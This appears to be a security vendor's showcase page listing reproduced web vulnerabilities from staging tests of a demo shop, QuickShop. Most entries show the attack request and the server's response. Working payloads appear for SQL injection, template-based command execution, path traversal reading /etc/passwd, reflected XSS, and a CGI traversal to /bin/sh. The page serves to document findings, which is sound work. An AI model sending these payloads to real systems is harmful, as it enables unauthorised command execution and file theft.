The findings library

Inspect the exchange.

These are real findings from our staging evaluations, not customer endorsements or invented examples. Each entry traces back to captured evidence.

highCWE-89 Reproduced

SQL injection in product search

View finding

Attack path2 steps

Captured exchange

Request

GET /catalog/search?q=laptop%27

Captured response excerptHTTP 200

<br />
<b>Warning</b>:  mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, bool given in <b>/app/routes/catalog-query</b> on line <b>52</b><br />

Anonymized evaluation evidence

critical Reproduced

Command execution through a template

View finding

Attack path3 steps

Captured exchange

Request

GET /templates/preview?template=%7B%7B%5B%27id%27%5D%7Cmap%28%27system%27%29%7D%7D

Captured validation transcriptHTTP 200

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Anonymized evaluation evidence

high Reproduced

Server file read through a download

View finding

Attack path3 steps

Captured exchange

Request

GET /files/download?file=../../../../etc/passwd

Captured response excerptHTTP 200

root:x:0:0:root:/root:/bin/bash

Anonymized evaluation evidence

medium Reproduced

Reflected XSS in promotions

View finding

Attack path2 steps

Captured exchange

Request

GET /promo.php?code=%27%20AND%20extractvalue(1%2Cconcat(0x7e%2C%27%3Cimg%20src%3Dx%20onerror%3Dalert(1)%3E%27))--%20-

Captured response excerptHTTP 200


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Check Promo Code - QuickShop</title>
    <link href="https://storefront.example/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://storefront.example/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link href="https://storefront.example/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="assets/css/dark-mode.css">
    <style>
        :root {
            --primary: #6366f1;
            --primary-dark: #4f46e5;
            --secondary: #8b5cf6;
            --accent: #ec4899;
            --dark: #0f172a;
            --light: #f8fafc;
            --border: #e2e8f0;
            --bg-main: #ffffff;
            --bg-secondary: #f8fafc;
            --text-primary: #1e293b;
            --text-secondary: #64748b;
            --card-bg: #ffffff;
            --navbar-bg: #ffffff;
        }
        
        [data-theme="dark"] {
            --bg-main: #0f172a;
            --bg-secondary: #1e293b

Anonymized evaluation evidence

lowCWE-862 Reproduced

Unauthenticated catalog import

View finding

Attack path3 steps

Captured exchange

Request

GET /catalog/import

Captured response excerptHTTP 200


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Product Import/Export - QuickShop</title>
    <link href="https://storefront.example/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://storefront.example/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link href="https://storefront.example/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: 'Inter', sans-serif;
            background: #f8fafc;
        }
        
        .navbar {
            background: #ffffff !important;
            box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
        }
        
        .navbar-brand {
            font-weight: 800;
            color: #6366f1 !important;
        }
        
        .tool-card {
            background: white;
            border-radius: 16px;
            padding: 2rem;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            margin: 2rem 0;
        }
        
        .section-divider {
            heigh

Anonymized evaluation evidence

highCWE-611 Reproduced

File disclosure through a feed parser

View finding

Attack path3 steps

Captured exchange

Request

POST /rss_parser.php

Captured response excerptHTTP 200


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>RSS Feed Parser - QuickShop</title>
    <link href="https://storefront.example/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://storefront.example/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link href="https://storefront.example/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: 'Inter', sans-serif;
            background: #f8fafc;
        }
        
        .navbar {
            background: #ffffff !important;
            box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
        }
        
        .navbar-brand {
            font-weight: 800;
            color: #6366f1 !important;
        }
        
        .parser-section {
            background: white;
            border-radius: 12px;
            padding: 2rem;
            margin: 2rem 0;
            box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
        }
        
        textarea {
            font-family: '

Anonymized evaluation evidence

criticalCWE-78 Reproduced

Command execution on the proxy

View finding

Attack path3 steps

Captured exchange

Request

POST /cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh

Captured response excerptHTTP 200

uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux b8ab5fc6e0f9 6.8.0-1066-gcp #74~22.04.1-Ubuntu SMP Fri Aug  7 21:51:15 UTC 2026 x86_64 GNU/Linux
b8ab5fc6e0f9

Anonymized evaluation evidence

highCWE-89 Reproduced

SQL injection in a wishlist

View finding

Attack path2 steps

Captured exchange

Request

GET /wishlist.php?id=bf0f10ccb6c78868%27

Captured response excerptHTTP 200

<br />
<b>Warning</b>:  mysqli_fetch_assoc() expects parameter 1 to be mysqli_result, bool given in <b>/app/[REDACTED-PATH]</b> on line <b>42</b><br />

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>My Wishlist - QuickShop</title>
    <link href="https://storefront.example/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://storefront.example/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link href="https://storefront.example/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <link rel="stylesheet" href="assets/css/dark-mode.css">
    <style>
        :root {
            --primary: #6366f1;
            --primary-dark: #4f46e5;
            --secondary: #8b5cf6;
            --accent: #ec4899;
            --dark: #0f172a;
            --light: #f8fafc;
            --border: #e2e8f0;
            --bg-main: #ffffff;
            --bg-secondary: #f8fafc;
            --text-primary: #1e293b;
            --text-secondary: #64748b;
            --card-bg: #ffffff;

Anonymized evaluation evidence

low Reproduced

Script injection in an invoice

View finding

Attack path3 steps

Captured exchange

Request

POST /invoices/create

Captured response excerptHTTP 200


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Invoice Generator - QuickShop</title>
    <link href="https://storefront.example/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://storefront.example/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link href="https://storefront.example/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: 'Inter', sans-serif;
            background: #f8fafc;
        }
        
        .navbar {
            background: #ffffff !important;
            box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
        }
        
        .navbar-brand {
            font-weight: 800;
            color: #6366f1 !important;
        }
        
        .generator-card {
            background: white;
            border-radius: 16px;
            padding: 2rem;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            margin: 2rem 0;
        }
        
        .preview-section {
            back

Anonymized evaluation evidence

criticalCWE-1336 Reproduced

Server command execution in invoices

View finding

Attack path2 steps

Captured exchange

Request

POST /invoices/create

Captured response excerptHTTP 200


<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Invoice Generator - QuickShop</title>
    <link href="https://storefront.example/npm/bootstrap@5.3.0/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://storefront.example/ajax/libs/font-awesome/6.4.0/css/all.min.css">
    <link href="https://storefront.example/css2?family=Inter:wght@300;400;500;600;700;800&display=swap" rel="stylesheet">
    <style>
        body {
            font-family: 'Inter', sans-serif;
            background: #f8fafc;
        }
        
        .navbar {
            background: #ffffff !important;
            box-shadow: 0 1px 3px rgba(0, 0, 0, 0.1);
        }
        
        .navbar-brand {
            font-weight: 800;
            color: #6366f1 !important;
        }
        
        .generator-card {
            background: white;
            border-radius: 16px;
            padding: 2rem;
            box-shadow: 0 4px 6px rgba(0, 0, 0, 0.1);
            margin: 2rem 0;
        }
        
        .preview-section {
            back

Anonymized evaluation evidence